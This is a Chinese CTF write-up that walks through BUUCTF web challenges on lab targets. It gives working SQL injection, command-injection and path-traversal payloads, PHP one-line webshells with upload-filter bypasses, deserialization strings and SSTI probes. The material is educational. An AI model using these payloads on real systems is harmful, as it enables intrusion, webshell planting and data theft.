【BUUCTF Web】WriteUp超详细

【BUUCTF Web】WriteUp超详细buutctfweb 题目题解 升大三的暑假自己刷来提高能力的 是自己边做边写 暑假期间只要没事情 每天都会写一些题目 最迟晚上更新 writeup

大家好,欢迎来到IT知识分享网。

[极客大挑战 2019]EasySQL

在这里插入图片描述
首先第一步 判断是哪一种注入方式:字符型?还是数字型?

在请求框中输入 1 1' 来根据服务器给出的回显进行判断 
根据回显内容可知,该注入类型为字符型注入 
万能公式: 1 and 1=1 数字型 1' and '1'='1 字符型 1 or 1=1 数字型 1' or '1'='1 字符型 
为什么and不行而or就可以呢? 这里就要首先了解and和or的区别。在注入时,A and B 执行成功的条件是A与B必须同时成立,才判断为正确。而 A or B 执行成功的条件是A与B有一项正确即可。可以理解为与或关系,and是与or是或,这样就可以理解为什么and不可以了。 

[极客大挑战 2019]Havefun

在这里插入图片描述
我们可以看见这个页面上只有一只小猫,我们可以尝试查看网页源代码

可以鼠标右击->查看网页源代码 也可以ctrl+U快捷打开网页源代码 

[HCTF 2018]WarmUp

在这里插入图片描述
题目给出提示是php 代码审计,那么我们可以直接查看网页源代码
在这里插入图片描述
可以看到有一个php代码文件 source.php


我们在url后加上/source.php 对该文件下php代码内容进行访问 

在这里插入图片描述
同样审计发现,还有一个php文件叫做hint.php,同样的方法对该文件进行访问
在这里插入图片描述
hint.php文件告诉我们 flag不在hint.php中,而在一个叫做ffffllllaaaagggg的东西中
在这里插入图片描述
这时候我们返回头来继续查看source.php,理解source.php中的代码




<?php highlight_file(__FILE__); // 显示当前文件的源代码 class emmm { public static function checkFile(&$page) { $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; // 白名单,允许访问的文件 // 检查$page是否存在且为字符串 if (! isset($page) || !is_string($page)) { echo "you can't see it"; // 输出错误信息 return false; // 返回false,表示文件验证失败 } // 检查$page是否在白名单中 if (in_array($page, $whitelist)) { return true; // 返回true,表示文件验证通过 } // 对$page进行处理,去除可能存在的查询字符串 $_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); // 检查处理后的$_page是否在白名单中 if (in_array($_page, $whitelist)) { return true; // 返回true,表示文件验证通过 } // 对$page进行URL解码,并进行与上面相同的处理 $_page = urldecode($page); $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); // 检查处理后的$_page是否在白名单中 if (in_array($_page, $whitelist)) { return true; // 返回true,表示文件验证通过 } echo "you can't see it"; // 输出错误信息 return false; // 返回false,表示文件验证失败 } } // 检查是否存在非空的$_REQUEST['file'],且为字符串,并调用emmm类的checkFile方法验证文件 if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']) ) { include $_REQUEST['file']; // 包含指定的文件 exit; // 终止脚本执行 } else { echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />"; // 输出一张图片 } ?> 

通过查看代码,我们对url进行修改,键入

source.php?file=hint.php?ffffllllaaaagggg 

在这里插入图片描述
这时候我们发现图片消失了,说明我们键入的内容是满足条件的,
但是我们不知道ffffllllaaaagggg的具体位置,所以我们采用如下方法进行文件访问

source.php?file=hint.php?../../../../../ffffllllaaaagggg 
../ 路径穿越(目录遍历)攻击 ../ 是一种相对路径标识符,用于表示返回到上一级目录。这种技术被称为路径穿越(Path Traversal)或目录遍历攻击(Directory Traversal Attack)。攻击者可以利用目录遍历漏洞来绕过应用程序的访问控制机制,访问其本来不应该访问的文件或目录。通过连续使用 ../ 返回多次,攻击者可以逐级向上导航到更高级别的目录,直到达到目标文件或目录。 

[ACTF2020 新生赛]Include

在了解了php伪协议后,我们判断此处应该使用php://filter读取文件内容

?file=php://filter/read=convert.base64-encode/resource=flag.php 

在这里插入图片描述
对获取到的内容进行base64解密即可获得flag
base64解密网址:base64解码
在这里插入图片描述


[ACTF2020 新生赛]Exec

在这里插入图片描述
查看网页源代码,发现提示为命令执行漏洞(command execution)
在这里插入图片描述
尝试查看post请求中是否存在命令执行漏洞


尝试写入payload 127.0.0.1| ls 

在这里插入图片描述
发现存在命令执行漏洞,有一个index.php文件,使用之前说过的 路径穿越(目录遍历)攻击 尝试依次查看index.php文件的上层目录,看看目录中是否会有flag

方法: 127.0.0.1 | ls ../ 127.0.0.1 | ls ../../ 127.0.0.1 | ls ../../../ 

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在进行第三次时,发现一个名字叫做flag的文件,我们要的flag可能就在这个文件中,对flag文件的内容进行查看


127.0.0.1 | cat ../../../flag 

在这里插入图片描述

[GXYCTF2019]Ping Ping Ping

在这里插入图片描述
打开靶机我们发现页面只用一个 /?ip= 其余没有任何提示,我们猜测是在url中进行提交

尝试在url中衔接上/?ip=127.0.0.1 

在这里插入图片描述
发现网页出现回显,我们再查看一下网页的源代码,看看有哪些提示,发现网页源代码也没有任何有用的提示
在这里插入图片描述
联想到上一道题是命令执行漏洞,我们再来尝试一下简单的命令执行漏洞


 第一次我输入的是: /?ip=127.0.0.1| ls 发现页面将空格进行了过滤 第二次我输入的是: /?ip=127.0.0.1|ls 发现页面回显出了一些文件名 

在这里插入图片描述
在这里插入图片描述
我们看到文件中有一个叫做flag.php,我们猜测flag存在于这个文件中,对其进行查看

/?ip=127.0.0.1|cat flag.php 

但是我们之前已经知道了代码对空格进行了过滤,所以毫无疑问的失败了,这时就需要用到空格绕过

空格绕过解法:(以cat flag.php为例子,绕过cat与flag中间的空格) {cat,flag.php} cat${IFS}flag.php cat$IFS$9flag.php cat$IFS$1flag.php cat<flag.php %09替换 cat<>flag.php kg=$'\x20flag.php'&&cat$kg (\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过) 或者base64编码 

在这里插入图片描述
但是!当我们成功绕过空格后发现flag也被过滤了,那我们就先来查看一下index.php中的内容

cat$IFS$9index.php 
/?ip=127.0.0.1;cat$IFS$1'ls' 
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh 

[强网杯 2019]随便注

在这里插入图片描述
这是一道sql注入题,不要问我怎么知道的,和常规的sql注入题一样,检查有无注入
输入1’时回显报错 发现存在注入,且为字符型注入。
在这里插入图片描述
接下来获取列数



1' order by 1# 正常 1' order by 2# 正常 1' order by 3# 报错 
-1' union select 1,database()# 
1;show database;# 1;show databases;# 

在这里插入图片描述
查询完数据库后,接下来查询所有表

1; show tables;# 

在这里插入图片描述
发现有一个奇怪的数字,对它的列进行查看
注意这个符号是 ` 而不是’

-1';show columns from`14514`;# 14514 

在这里插入图片描述
发现其中有一列为flag,只要我们能查看它的内容,这道题就可以解出来了,但是 select字段被过滤,所以没有办法直接对它进行查询。
我们可以想到words是默认查询的表,再后台的查询语句类似以下

select * from words where id =’1‘; 
0’;show columns from words;# 

在这里插入图片描述
思路:将words表名改为words1,再将数字表名改为words,这样查询语句就会查询数字表名,我们再将flag字段名改为id字段或者直接添加id字段,就可以达到使用原先代码中的查询语句对flag中的内容进行查询,payload如下

1';rename tables `words` to `words1`;rename tables `14514` to `words`; alter table `words` change `flag` `id` varchar(100);# 

[SUCTF 2019]EasySQL

在这里插入图片描述
同样是一道SQL注入题,同常规一样,检查注入点
输入1时查看回显
在这里插入图片描述
不管输入什么非零数字,都是一样的回显,尝试0和字符串时没有回显 说明是整型而不是字符型。
查询列数 发现不行
在这里插入图片描述那就使用堆叠注入,尝试查看数据库,发现注入成功





1;show databases; 

在这里插入图片描述
再查看表名

1;show tables; 

在这里插入图片描述
发现出现了flag,判断flag就在Flag中,尝试对flag进行查询
在这里插入图片描述
这里应该是把Flag过滤掉了,但是看好多网上的大佬写到这一步是要去猜测后端的代码,我实在是知识太薄弱了,不知道为什么要猜测后端代码中存在||这个符号,所以先就按照这种思路来写,之后如果能理解的话我会回来将这个想法写完整


 在sql语句中 || 表示的是或逻辑 也就是说: C1||C2 C1和C2只要有一侧是1 就是1 否则就是0 

接下来就要猜测后端的语句了,大胆猜测逻辑就是这样子的

内部查询语句中有||操作符,只有我们输入非零数字才会满足||的逻辑为True从而进行回显的条件。 即:select 输入数据 || flag from Flag 

第一种方法:

*,1 相当于构造了select *,1 || flag from Flag,这条语句执行起来相当于select *, 1 from Flag 

在这里插入图片描述
另一种方法的思路就是 将||或的逻辑改成连接符的作用
就要补充一个知识点

设置 sql_mode=PIPES_AS_CONCAT来转换操作符的作用,PIPES_AS_CONCAT令||起到连接符的作用 

构造payload:

1;set sql_mode=PIPES_AS_CONCAT;select 1 注:这里的逻辑是先把||转换为连接操作符,注意分号隔断了前面的命令,所以要再次添加select来进行查询,这里把1换成其他非零数字也一样会回显flag 

在这里插入图片描述

[极客大挑战 2019]Secret File

在这里插入图片描述首先题目首页没给我们多大信息,我们查看一下源码,发现了一个 ./Archive_room.php
在这里插入图片描述对其进行访问,发现页面有一个SECRET可以点击,但是点开后提示我们回去看一看
在这里插入图片描述
在这里插入图片描述
我们查看第一页的源代码,发现还有一个文件叫做./Action.php
在这里插入图片描述但是对他进行访问后发现实际到达的却是end.php
在这里插入图片描述
这时我们掏出我们的BP进行一个简单的抓包
在这里插入图片描述
在这里插入图片描述发现了一个叫做secr3t.php的文件,对他进行访问,打开是源代码,告诉我们flag放在了flag.php中
在这里插入图片描述
那我们就对flag.php进行访问,但是还是不显示,对他的源代码进行查看也没有任何帮助,这里就想到了PHP伪协议
在这里插入图片描述
在这里插入图片描述












secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php 

在这里插入图片描述
最后对密文进行base64解码就可以得到结果
在这里插入图片描述

[极客大挑战 2019]LoveSQL

在这里插入图片描述
很明显是一道sql注入题,首先判断注入是整型还是字符,说明是字符型注入,并且使用的是MariaDB数据库
在这里插入图片描述
使用万能密码进行一下测试
在这里插入图片描述
我们发现它给了我们一个password,但是经过尝试他并不是flag,对他进行一下解码发现都不行,似乎好像没有什么用处,那我们先按常规查看一下列数吧




1' order by 3# 
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()# 

在这里插入图片描述
可以看到有一个表叫做geekuser,可能有我们想要的信息

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='geekuser'# 

在这里插入图片描述
查询id username password的具体内容

1' union select 1,2,group_concat(id,username,password) from geekuser# 

在这里插入图片描述
发现给了我们账号密码 我们登录一下试一试,还是没有用。
在这里插入图片描述那我们用同样的方法对另一个表进行查看,也许flag存在另一个表中

 1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'# 1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1# 

在这里插入图片描述
在这里插入图片描述
将一长串复制出来方便查看,发现了我们要的flag

在这里插入图片描述

[极客大挑战 2019]Http

在这里插入图片描述
单从网页上来看没有什么发现,涉及到http,所以继续掏出我们的BP进行抓包
在这里插入图片描述
找到了一个Secret.php,访问一下在这里插入图片描述
这时我们需要修改header头,把https://www.Sycsecret.com写进去,复制一个头文件,添加关键的一行



Referer:https://www.Sycsecret.com 
GET /Secret.php HTTP/1.1
Host: 9141-f2e36f57-6b2f-4563-8342-a0cfdb3ec455node3.buuoj.cn:29788
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.122 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer:https://www.Sycsecret.com
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

在这里插入图片描述
随后提示我们浏览器需要使用Syclover,这时我们修改一下User-Agent的内容,使得服务器以为我们使用的是Syclover进行的访问

User-Agent:Syclover 

在这里插入图片描述
这时它又说我们只能通过本地进行一个访问,那么我们就继续更改http请求文件,flag出现

X-Forwarded-For:127.0.0.1 

[极客大挑战 2019]Knife

在这里插入图片描述
题目提示可以使用菜刀链接后门,使用菜刀进行后门连接
在这里插入图片描述
成功访问后进行根目录访问,有一个flag文件,进去后发现flag
在这里插入图片描述
在这里插入图片描述




[极客大挑战 2019]Upload

在这里插入图片描述

根据题目可以看出来这是一道文件上传题目,此类题目一般都是利用网页上传口的一些漏洞,上传诸如一句话木马等带有危险性的文件去进入其他人的服务器,再利用类如菜刀蚁剑等设备连接服务器进行操作。 

首先上传一句话木马

<?php phpinfo(); @eval($_POST['shell']); ?> 注意这里要将代码写入文件进行上传 

在这里插入图片描述
在这里插入图片描述
报错,说明后台可能对非图片格式进行了过滤,我们更改文件格式为.jpg,再次尝试
在这里插入图片描述
报错信息告诉我们对文件中<?的内容进行了过滤,那我们对文件内容进行一下修改



<script language="php">eval($_POST['shell']);</script> 注意我们这里cmd就是我们开的后门shell密码 

在这里插入图片描述
依然会有一个报错的提示,说明我们需要添加图片的头,然后再进行上传

GIF89a 

在这里插入图片描述

在这里插入图片描述

提示我们上传成功了,但是我们上传的仅仅是一个.jpg的文件,无法供我们利用,这时候我们需要使用到BP进行一下简单的抓包,并且将.jpg更改为.phtml,使得网页后端可以执行我们的一句话木马【BUUCTF Web】WriteUp超详细

在这里插入图片描述

然后我们小马就带着我们成功进入了网站的后台使用AntSword连接网站后门,这里需要开启php服务

也可以使用/upload/filename进行直接访问打开文件 这里我重新上传了一个shell文件名的小马 

在这里插入图片描述
然后就可以对网站后台数据库进行访问
在这里插入图片描述

注: 在使用AntSword时有的同学在测试连接时显示返回为空,说明你的一句话木马有问题,未能被服务器正常解析,可以检查一下上传的文件格式和代码是否有误 

我们打开虚拟终端返回到根目录

 cd / 

在这里插入图片描述
然后查看flag文件

cat flag 

在这里插入图片描述

[ACTF2020 新生赛]Upload

在这里插入图片描述
当我们把鼠标移动到灯泡上时,发现了可以进行的文件上传地址,先简单构造一个payload进行尝试一下一句话木马上传

<?php phpinfo(); @eval($_POST['shell']); ?> 

在这里插入图片描述
提示我们只能上传固定格式的图片,那我们更改文件格式,并加上图片头

在这里插入图片描述GIF89a
提示我们文件上传成功
在这里插入图片描述
我们先进行简单抓包更改shell的文件格式为.phtml使其能够运行为我们打开后门
在这里插入图片描述
在这里插入图片描述




注意这里我直接只使用 /uplo4d进行连接时一直报错,看了好多博主但是他们也是只有这个好像,最后才试出来连接时要把所有的全写完整才能连接成功而且编码器最好使用base64进行编码,不然可能是乱码而且无法使用shell 

在这里插入图片描述

接下来就是返回根目录然后查看flag文件了

返回根目录 cd 查看flag cat flag 

在这里插入图片描述

[极客大挑战 2019]BabySQL

在这里插入图片描述
经典的SQL注入题,先尝试一下万能密码在这里插入图片描述
我们发现他把我们注入时输入的or过滤了,那我们尝试一下双写or ,这样他在删除一个or以后还会有,但是依然发现不可以

1’ oorr 1=1 

在这里插入图片描述
那我们换思路进行一下进行联合注入(盲猜和之前一样三列),发现同样删除过滤了我们的union select关键字
在这里插入图片描述依然对union select进行双写尝试,发现可以

1' ununionion seselectlect 1,2,3# 

在这里插入图片描述
那接下来就是爆库常规的SQL注入了,同样如果遇到被删除过滤的部分进行双写即可

1' ununionion seselectlect 1,2,database()# 

在这里插入图片描述

1' ununionion seselectlect 1,2,group_concat(schema_name)frfromom (infoorrmation_schema.schemata) # 

在这里插入图片描述

1' ununionion seselectlect 1,2,group_concat(column_name)frfromom(infoorrmation_schema.columns)whwhereere table_name="Flag" 

在这里插入图片描述

1' ununionion seselectlect 1,2,group_concat(flag)frfromom(ctf.Flag) 

在这里插入图片描述

[极客大挑战 2019]PHP

在这里插入图片描述题目说他进行了备份 那我们扫描网站目录,发现了www.zip进行访问
在这里插入图片描述发现网站的源码直接被我们下载了
在这里插入图片描述
源码中有这几个文件,打开我们可以使用记事本
在这里插入图片描述
打开flag.php进行查看,发现错误不是我们想要的flag
在这里插入图片描述那我们再查看一下index.php
在这里插入图片描述






发现一段php文件,包含class.php文件 用get的方式传入一个select参数,并将结果反序列化(unserialize) 
根据class中代码的意思 我们可以发现如果username=admin password=100然后我们再执行__destruct()时可以获得flag 
<?php class Name{ private $username = 'nonono'; private $password = 'yesyes'; public function __construct($username,$password){ $this->username = $username; $this->password = $password; } } $a = new Name('admin', 100); var_dump(serialize($a)); ?> 

在这里插入图片描述

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;} 

我们将用这串序列化的字符串替换select于是我们有了这样的payload

?select=O:4:“Name”:2:{s:14:“Nameusername”;s:5:“admin”;s:14:“Namepassword”;i:100;} 

在这里插入图片描述
进行访问时页面没有反应,可能是因为username和password是private字段

private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度 

所以更改payload为

?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;} 

在这里插入图片描述
找到flag

[ACTF2020 新生赛]BackupFile

http://3a65cb36-9643-452c-8f4a-43589c302f5f.node4.buuoj.cn:81//index.php.bak 

在这里插入图片描述
访问后备份php文件被我们下载
在这里插入图片描述
进行访问该备份文件,查看内容
在这里插入图片描述



可以看到这里是一个 若相等 即php中==进行证书和字符串类型相比较时,会先将字符串转化为整数然后再进行比较,只截取前面整数部分,故再访问为 http://3a65cb36-9643-452c-8f4a-43589c302f5f.node4.buuoj.cn:81/?key=123 

在这里插入图片描述

[RoarCTF 2019]Easy Calc

/calc.php 
?num=phpinfo() 

在这里插入图片描述
被waf进行了拦截,我们可以在num前加一个空格进行简单的绕过
原理: php解析规则:如果变量名前面有空格,则删除空格在进行解析,假如waf不允许num接受字母,则 num就可以

/calc.php/?%20num=phpinfo() 

在这里插入图片描述
成功绕过,使用scandir查看目录中的内容,找到flag

? num=scandir("/") 

在这里插入图片描述
联想到之前源代码中/被过滤,使用char对/进行ASCII编码进行绕过

? num=var_dump(scandir(chr(47))) 

在这里插入图片描述
读取flagg文件获得flag

? num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)) 

在这里插入图片描述

[极客大挑战 2019]BuyFlag

在这里插入图片描述
网页提示需要前,身份和密码,查看一下源代码,发现了一些文件和传参方式
在这里插入图片描述
在这里插入图片描述
那我们先尝试抓包,然后修改数值请求为post即可成功拿到flag
在这里插入图片描述
这里显示数值过大,要用1e9代替100000000
在这里插入图片描述
成功







[BJDCTF2020]Easy MD5

知识点:sql注入,md5绕过,构造md5的or使判断为真,数组,md5碰撞 

在这里插入图片描述当我们进行查询时,实际上使用的时sql语句查询,但是使用的是MD5的加密算法,所以我们可以构造一个MD5含有or的语句,置为真

当存在参数true时,使用原始16字符二进制格式,找到ffifdyop字符串经过MD5哈希之后,会变成276fc95d99ecf9ed621c,mysql会把hex当作Ascii码来解释所以这几个字符相当于:’ or '6xxxxxxx。这就相当于一个万能密码了我们来试试 ?password=ffifdyop 

在这里插入图片描述在这里插入图片描述
得到提示告诉我们这是一个md5弱类型比较,我们可以在网上找一些0e开头的md5值,进行md5碰撞
在这里插入图片描述
将上述任意俩个值传给a和b
得到新的提示
在这里插入图片描述
这里我们发现需要用post进行传参,这俩个值要求不相等且md5加密后要相等,所以我们使用md5弱类型比较,把这俩个参数当成数组进行赋值就可以成功绕过
在这里插入图片描述






[护网杯 2018]easy_tornado

在这里插入图片描述
查看各个文件下的内容
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

render()函数是Django中的渲染,想到ssti tornado.web.Application对象初始化赋予cookie_secret参数,用于保存本网站cookies加密密钥 根据第三个文件,我们打开第一个文件中提示的flag文件所在位置,使用[md5](https://www.sojson.com/md5/)进行加密 
构造新的payload: { 
  {handler.settings}} 

在这里插入图片描述传参后得到cookie_secret的值,通过md5加密计算cookie_secret+md5(filename)
先加密/fllllllllllllag
在这里插入图片描述再根据上面的语法再加密一次
在这里插入图片描述注入后得到flag
在这里插入图片描述



免责声明:本站所有文章内容,图片,视频等均是来源于用户投稿和互联网及文摘转载整编而成,不代表本站观点,不承担相关法律责任。其著作权各归其原作者或其出版社所有。如发现本站有涉嫌抄袭侵权/违法违规的内容,侵犯到您的权益,请在线联系站长,一经查实,本站将立刻删除。 本文来自网络,若有侵权,请联系删除,如若转载,请注明出处:https://haidsoft.com/132203.html

(0)
上一篇 2025-08-02 14:26
下一篇 2025-08-02 14:33

相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注微信